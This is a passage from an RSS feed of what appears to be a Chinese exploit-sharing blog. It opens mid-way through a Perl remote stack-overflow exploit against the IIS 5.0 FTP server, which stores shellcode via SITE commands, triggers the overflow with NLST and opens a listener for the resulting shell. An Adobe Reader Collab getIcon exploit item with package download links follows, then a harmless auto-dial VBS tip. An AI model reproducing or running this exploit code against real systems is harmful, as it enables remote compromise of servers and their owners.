    $patch . $patch. "\xEB\x8E\x44\x44"."A" x 48 .<br />
#                     |< -- 第二次跳转: 到这里后最终跳到$myfindsc<br />
    $patch . "AAAA". $retaddr . $patch . "A" x 16 ."\xE2\xAA"."NN";<br />
#                                                  |<-- 第一次跳转: 函数返回以后经过跳转来到这里, 但是$myfindsc太远, 就又跳了一次</p>
<p>$x = <$sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x; </p>
<p>print $sock "USER anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "CWD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD CCCC". "$c\r\n"; # 这里也被修改了, 多加了个C, 用于4字节对齐<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
# TRIGGER<br />
print $sock "NLST $c*/../C*/\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
} else {<br />
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);<br />
die "Could not create socket: $!\n" unless $servsock;<br />
my $new_sock = $servsock->accept();<br />
while(< $new_sock>) {<br />
print $_;<br />
}<br />
close($servsock);<br />
}<br />
#Cheerio,<br />
#<br />
#Kingcope<br />
</your></target></at></p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li>
<li><a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li>
<li><a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1094.html" title="IIS6解析漏洞">IIS6解析漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1090.html" title="Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit">Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1082.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)</a></li>
<li><a href="http://www.4shell.org/archives/1079.html" title="Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit">Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1103.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Acrobat/Reader &lt; 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit</title>
		<link>http://www.4shell.org/archives/1090.html</link>
		<comments>http://www.4shell.org/archives/1090.html#comments</comments>
		<pubDate>Fri, 04 Sep 2009 15:32:00 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1090.html</guid>
		<description><![CDATA[
#!/usr/bin/env python
#
# *** Acrobat Reader - Collab getIcon universal exploiter ***
# evil_pdf.py, tested on Operating Systems:
# Windows XP SP3 English/French
# Windows 2003 SP2 English
# with Application versions:
# Adobe Reader 9.0.0/8.1.2 English/French
# Test methods:
# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.
# [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
#!/usr/bin/env python<br />
#<br />
# *** Acrobat Reader - Collab getIcon universal exploiter ***<br />
# evil_pdf.py, tested on Operating Systems:<br />
# Windows XP SP3 English/French<br />
# Windows 2003 SP2 English<br />
# with Application versions:<br />
# Adobe Reader 9.0.0/8.1.2 English/French<br />
# Test methods:<br />
# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7<br />
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.<br />
# [Coromputer] raised from the ashes.<br />
#</p>
<p>http://www.coromputer.net/CVE-2009-0927_package.zip</p>
<p>back: http://milw0rm.com/sploits/2009-CVE-2009-0927_package.zip</p>
<p># milw0rm.com [2009-09-03]
</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li>
<li><a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li>
<li><a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1166.html" title="专家：Adobe Flash安全策略的风险高">专家：Adobe Flash安全策略的风险高</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1103.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</a></li>
<li><a href="http://www.4shell.org/archives/1082.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)</a></li>
<li><a href="http://www.4shell.org/archives/1079.html" title="Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit">Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1090.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让 Windows 开机自动拨号上网</title>
		<link>http://www.4shell.org/archives/1088.html</link>
		<comments>http://www.4shell.org/archives/1088.html#comments</comments>
		<pubDate>Fri, 04 Sep 2009 15:30:15 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1088.html</guid>
		<description><![CDATA[   1. 将以下代码复制、粘贴到记事本
   2. 把代码中的“宽带连接”修改为你建立的的拨号网络连接的名称，账号、密码分别修改为你的 ADSL 账号和密码
   3. 将代码另存为：拨号.vbs，此时双击即可实现拨号
   4. 把“拨号.vbs” 拖到开始菜单的启动项里
   5. 完成。

    CreateObject("WScript.Shell").run"Rasdial 宽带连接 账号 密码",0
相关文章

搞内网的一个小技巧
更改windows2003最大连接数
让千千静听不再弹出广告
手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】
MySQL导入数据库文件最大限制2048KB的修改解决办法
wp-postviews和Wp Super Cache有冲突
流量过大，不得不启用WP Super Cache
防止.NET木马列所有站物理路径，防止.JPG类型木马
some shit tips
360 模拟点击demo

]]></description>
			<content:encoded><![CDATA[<p>   1. 将以下代码复制、粘贴到记事本<br />
   2. 把代码中的“宽带连接”修改为你建立的的拨号网络连接的名称，账号、密码分别修改为你的 ADSL 账号和密码<br />
   3. 将代码另存为：拨号.vbs，此时双击即可实现拨号<br />
   4. 把“拨号.vbs” 拖到开始菜单的启动项里<br />
   5. 完成。</p>
<p><span id="more-1088"></span></p>
<p>    CreateObject("WScript.Shell").run"Rasdial 宽带连接 账号 密码",0<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li>
<li><a href="http://www.4shell.org/archives/1720.html" title="更改windows2003最大连接数">更改windows2003最大连接数</a></li>
<li><a href="http://www.4shell.org/archives/1591.html" title="让千千静听不再弹出广告">让千千静听不再弹出广告</a></li>
<li><a href="http://www.4shell.org/archives/1476.html" title="手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】">手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1110.html" title="wp-postviews和Wp Super Cache有冲突">wp-postviews和Wp Super Cache有冲突</a></li>
<li><a href="http://www.4shell.org/archives/1109.html" title="流量过大，不得不启用WP Super Cache">流量过大，不得不启用WP Super Cache</a></li>
<li><a href="http://www.4shell.org/archives/1035.html" title="防止.NET木马列所有站物理路径，防止.JPG类型木马">防止.NET木马列所有站物理路径，防止.JPG类型木马</a></li>
<li><a href="http://www.4shell.org/archives/1024.html" title="some shit tips">some shit tips</a></li>
<li><a href="http://www.4shell.org/archives/1018.html" title="360 模拟点击demo">360 模拟点击demo</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1088.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
